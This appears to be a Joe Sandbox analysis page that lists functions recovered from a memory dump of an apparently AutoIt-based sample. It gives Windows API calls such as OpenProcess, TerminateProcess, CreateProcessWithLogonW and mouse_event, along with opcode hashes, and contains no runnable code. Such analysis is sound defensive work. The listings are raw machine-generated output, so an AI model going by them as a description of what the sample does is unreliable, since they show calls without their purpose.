GetMenu.USER32(?), ref: 006157FB
GetMenuItemCount.USER32(00000000), ref: 00615832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0061585A
GetMenuItemID.USER32(?,?), ref: 006158C9
GetSubMenu.USER32(?,?), ref: 006158D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00615928

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: df3a0880862208c7dd7fda7a276e1b567c63ec42eb35b37f8c03d1ac07a03821
Instruction ID: 95b7ae78d266ad2c7cc5800d7f80a7f1ed066fed073e61daa4fb3228f5127395
Opcode Fuzzy Hash: df3a0880862208c7dd7fda7a276e1b567c63ec42eb35b37f8c03d1ac07a03821
Instruction Fuzzy Hash: F8515035A00616EFDF11DF54C8459EEBBB6FF88310F144459E812B7351DB74AE418B90

Function 005EEEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 005EEF06
VariantClear.OLEAUT32(00000013), ref: 005EEF78
VariantClear.OLEAUT32(00000000), ref: 005EEFD3
_memmove.LIBCMT ref: 005EEFFD
VariantClear.OLEAUT32(?), ref: 005EF04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 005EF078

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 0e9866c09752589fb787ccbfdaadea8d3cb1935afd648193bcc64ff4d4b585d5
Instruction ID: d6b482712f46bd8f29fa4789080f6daa8e323c1f4741682e07361841c1f8c3bd
Opcode Fuzzy Hash: 0e9866c09752589fb787ccbfdaadea8d3cb1935afd648193bcc64ff4d4b585d5
Instruction Fuzzy Hash: EA516CB5A00249DFCB14CF58C884AAABBF9FF4C314B15856AE959DB301E735E911CBA0

Function 005F220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F2258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005F22A3
IsMenu.USER32(00000000), ref: 005F22C3
CreatePopupMenu.USER32 ref: 005F22F7
GetMenuItemCount.USER32(000000FF), ref: 005F2355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 005F2386

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 9053668d9e8159c5c9edc782b24c8af2092d4d10e3ea6fd16cebf8980db2425f
Instruction ID: 0567c97e651cf40d1968418976ccf07838d92ea9ad685346fe90db37163f6a68
Opcode Fuzzy Hash: 9053668d9e8159c5c9edc782b24c8af2092d4d10e3ea6fd16cebf8980db2425f
Instruction Fuzzy Hash: 01517BF060420EDBDF21CF68D888BADBFE6BF45314F148929EA559B2D0D3789944CB51

Function 00591765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

BeginPaint.USER32(?,?,?,?,?,?), ref: 0059179A
GetWindowRect.USER32(?,?), ref: 005917FE
ScreenToClient.USER32(?,?), ref: 0059181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0059182C
EndPaint.USER32(?,?), ref: 00591876

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 6987e5e7139a680cd2dbaabb7b8452c6c0cbe6f2d4944688d30190983b080ae7
Instruction ID: e424cac96955943fd76dd0e5704de57f129f5005e54f9a7a638e6aa05e614489
Opcode Fuzzy Hash: 6987e5e7139a680cd2dbaabb7b8452c6c0cbe6f2d4944688d30190983b080ae7
Instruction Fuzzy Hash: BF41D130100B12AFDB10DF64CC99FBA7FE9FB49324F144629F9A58B2A1C7319845DB61

Function 0061B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(006557B0,00000000,012C6138,?,?,006557B0,?,0061B5A8,?,?), ref: 0061B712
EnableWindow.USER32(00000000,00000000), ref: 0061B736
ShowWindow.USER32(006557B0,00000000,012C6138,?,?,006557B0,?,0061B5A8,?,?), ref: 0061B796
ShowWindow.USER32(00000000,00000004,?,0061B5A8,?,?), ref: 0061B7A8
EnableWindow.USER32(00000000,00000001), ref: 0061B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0061B7EF

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: b4a26f4be0cdf47f65eda7c14517fcdd52f9aff4bab9dba99d3ee3858300c8ea
Instruction ID: 184aa2b86beeb4251b6adc68bc50f372b2dcbc7d02dcc5c5731a8d99fdef0eb3
Opcode Fuzzy Hash: b4a26f4be0cdf47f65eda7c14517fcdd52f9aff4bab9dba99d3ee3858300c8ea
Instruction Fuzzy Hash: 55414C34604240AFDB26CF24D499BD47BE2FB45310F1C91B9E9488F6F2C731A896CB51

Function 0060709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00604E41,?,?,00000000,00000001), ref: 006070AC

Part of subcall function 006039A0: GetWindowRect.USER32(?,?), ref: 006039B3

GetDesktopWindow.USER32 ref: 006070D6
GetWindowRect.USER32(00000000), ref: 006070DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0060710F

Part of subcall function 005F5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005F52BC

GetCursorPos.USER32(?), ref: 0060713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00607199

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: d45a5324f4471ca930e1e3e404c89f1046bfd127100a81e33a2eeee0daabbc3c
Instruction ID: 0cc01d0f63ff00f9fbb66d026ac5d15d5a6a583cbc2fe01cdb5cd61a60cb28dd
Opcode Fuzzy Hash: d45a5324f4471ca930e1e3e404c89f1046bfd127100a81e33a2eeee0daabbc3c
Instruction Fuzzy Hash: 8931D272509306ABD724DF14C849B9BBBABFF88314F04091AF595972D1DA34EA09CBD2

Function 005E8879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E80A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005E80C0
Part of subcall function 005E80A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005E80CA
Part of subcall function 005E80A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005E80D9
Part of subcall function 005E80A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005E80E0
Part of subcall function 005E80A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005E80F6

GetLengthSid.ADVAPI32(?,00000000,005E842F), ref: 005E88CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 005E88D6
HeapAlloc.KERNEL32(00000000), ref: 005E88DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 005E88F6
GetProcessHeap.KERNEL32(00000000,00000000,005E842F), ref: 005E890A
HeapFree.KERNEL32(00000000), ref: 005E8911

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 865f4aef38b91e8922024f8741dae5531c8e65cfb811209ba1319d3e0166ad3e
Instruction ID: 6f3efaa6223aa6015ad7beb4acf7612361092e8fe229a8b7294bfae1ac44b2a1
Opcode Fuzzy Hash: 865f4aef38b91e8922024f8741dae5531c8e65cfb811209ba1319d3e0166ad3e
Instruction Fuzzy Hash: 0611AF31901209FFDB189FA5DC0ABBE7BA9FB44311F148569F889D7111CB329900DB60

Function 005E85B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 005E85E2
OpenProcessToken.ADVAPI32(00000000), ref: 005E85E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 005E85F8
CloseHandle.KERNEL32(00000004), ref: 005E8603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 005E8632
DestroyEnvironmentBlock.USERENV(00000000), ref: 005E8646

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: b74b1dc450d51848b5a814c0fd4f7760ebefd0ee028eca04a5649489689e9bcf
Instruction ID: 40c25ef2a2e9795c3f2d1c77825006a68f5472ce65718534e5c92347f8c19453
Opcode Fuzzy Hash: b74b1dc450d51848b5a814c0fd4f7760ebefd0ee028eca04a5649489689e9bcf
Instruction Fuzzy Hash: 14114D72501249ABDF01CF95DD49BEA7BA9FB48304F084065FD09A2160C6719E60DB60

Function 005EB790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 005EB7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 005EB7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 005EB7CD
ReleaseDC.USER32(00000000,00000000), ref: 005EB7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 005EB7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 005EB7FE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: d8a9649cd874a402961c858e92ebcd296a6fe499f60a52ebec8b758508b81942
Instruction ID: 9b09789dd797ac9f340d1ccc5dda162e845b09ff5767abbce81443f33842b2ca
Opcode Fuzzy Hash: d8a9649cd874a402961c858e92ebcd296a6fe499f60a52ebec8b758508b81942
Instruction Fuzzy Hash: EA0184B5E00209BBEF109BB69C49A9EBFB9EB48311F048076FA04A7291D6319C00CF90

Function 005B0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 005B0193
MapVirtualKeyW.USER32(00000010,00000000), ref: 005B019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 005B01A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 005B01B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 005B01B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 005B01C1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 89e339248cb81e35fc046313f6732b6f60e49bb7273f1ac9e0c22978862a1b62
Instruction ID: e5ba5c0041021ba60beea832ecd76ba7eb9d3cd271421b9c5dfc5c6a92e731ef
Opcode Fuzzy Hash: 89e339248cb81e35fc046313f6732b6f60e49bb7273f1ac9e0c22978862a1b62
Instruction Fuzzy Hash: B1016CB0901B597DE3008F5A8C85B52FFA8FF19354F04411BA15C47941C7F5A864CBE5

Function 005F53E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 005F53F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 005F540F
GetWindowThreadProcessId.USER32(?,?), ref: 005F541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005F542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005F5437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005F543E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: f03f637ea87446a99720cb9972609228b585e1f592ac3852d67e899a67b38ca5
Instruction ID: 329d313286a91741f45f66f46416f4b2cfdac0f031c6ab2768be039d1285508e
Opcode Fuzzy Hash: f03f637ea87446a99720cb9972609228b585e1f592ac3852d67e899a67b38ca5
Instruction Fuzzy Hash: 78F03032241558BBE7215BA2DC0EEEF7F7DEFC6B11F04416AFA04D1061EBA51A0186F5

Function 005F7230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 005F7243
EnterCriticalSection.KERNEL32(?,?,005A0EE4,?,?), ref: 005F7254
TerminateThread.KERNEL32(00000000,000001F6,?,005A0EE4,?,?), ref: 005F7261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,005A0EE4,?,?), ref: 005F726E

Part of subcall function 005F6C35: CloseHandle.KERNEL32(00000000,?,005F727B,?,005A0EE4,?,?), ref: 005F6C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 005F7281
LeaveCriticalSection.KERNEL32(?,?,005A0EE4,?,?), ref: 005F7288

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: a21e099672c6115338a10d8683eba9ad6b3f2a6a2b4cc782fe03f8f2302f114e
Instruction ID: 5a3c6312d904f86aee0ddfb4d3af984a941b894e6063639ff4a6026864dcf466
Opcode Fuzzy Hash: a21e099672c6115338a10d8683eba9ad6b3f2a6a2b4cc782fe03f8f2302f114e
Instruction Fuzzy Hash: 32F0823A540616EBD7111BA4ED4D9EB7B3BFF59712B185633F603910A0CBBA5A01CB50

Function 005E8992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 005E899D
UnloadUserProfile.USERENV(?,?), ref: 005E89A9
CloseHandle.KERNEL32(?), ref: 005E89B2
CloseHandle.KERNEL32(?), ref: 005E89BA
GetProcessHeap.KERNEL32(00000000,?), ref: 005E89C3
HeapFree.KERNEL32(00000000), ref: 005E89CA

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: a0a6164d4712866e926f34e50b5772479dcdedf77bb0cab11354dc603580bc88
Instruction ID: 9075539a45bca22fa46b2a5493742661e88a0ca524b119623c3cf71ff27f94b7
Opcode Fuzzy Hash: a0a6164d4712866e926f34e50b5772479dcdedf77bb0cab11354dc603580bc88
Instruction Fuzzy Hash: 1CE0C236104401FBDB011FE1EC0D98ABB6AFB89322B189232F229810B0CB329420DB90

Function 005E7530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00622C7C,?), ref: 005E76EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00622C7C,?), ref: 005E7702
CLSIDFromProgID.OLE32(?,?,00000000,0061FB80,000000FF,?,00000000,00000800,00000000,?,00622C7C,?), ref: 005E7727
_memcmp.LIBCMT ref: 005E7748

Strings

,,b, xrefs: 005E753D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,b
API String ID: 314563124-1419447628
Opcode ID: f18b35915ae6bee52517f7973d9cbb671aaea7d8938d5780062db3517e9803f6
Instruction ID: d04ea16747b0bcde9854ed8685ac996b18f75e6cd8faefd320528707ba8bcd70
Opcode Fuzzy Hash: f18b35915ae6bee52517f7973d9cbb671aaea7d8938d5780062db3517e9803f6
Instruction Fuzzy Hash: 73811C75A0010AEFCF04DFA4C984EEEBBB9FF89315F204559E545AB250DB71AE06CB60

Function 006085ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00608613
CharUpperBuffW.USER32(?,?), ref: 00608722
VariantClear.OLEAUT32(?), ref: 0060889A

Part of subcall function 005F7562: VariantInit.OLEAUT32(00000000), ref: 005F75A2
Part of subcall function 005F7562: VariantCopy.OLEAUT32(00000000,?), ref: 005F75AB
Part of subcall function 005F7562: VariantClear.OLEAUT32(00000000), ref: 005F75B7

Strings

Incorrect Parameter format, xrefs: 0060864B, 0060880D
AUTOIT.ERROR, xrefs: 00608728

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: cd4ee28ec987322d6a7e5761b97ac4098e99d22adbe070be2429e54511ca13cd
Instruction ID: 8cca09f642bb09ff0a1458411fc2b2d85239cf34be901398981bc2f5f7ea1496
Opcode Fuzzy Hash: cd4ee28ec987322d6a7e5761b97ac4098e99d22adbe070be2429e54511ca13cd
Instruction Fuzzy Hash: 6D914B716043029FCB14DF24C48595BBBE5FF89714F14896EF89A8B3A1DB31E906CB51

Function 005F2A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005AFC86: _wcscpy.LIBCMT ref: 005AFCA9

_memset.LIBCMT ref: 005F2B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 005F2BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 005F2C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 005F2C97

Strings

0, xrefs: 005F2B73

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 37a2fb61af4b1315854fc08fbbed7ff2ae18ec966a9a14f588a905ceb7596b9b
Instruction ID: 9441d762e6dff687a9d6d1ce63d7b650a0aae92faeb8179531a248d00163268b
Opcode Fuzzy Hash: 37a2fb61af4b1315854fc08fbbed7ff2ae18ec966a9a14f588a905ceb7596b9b
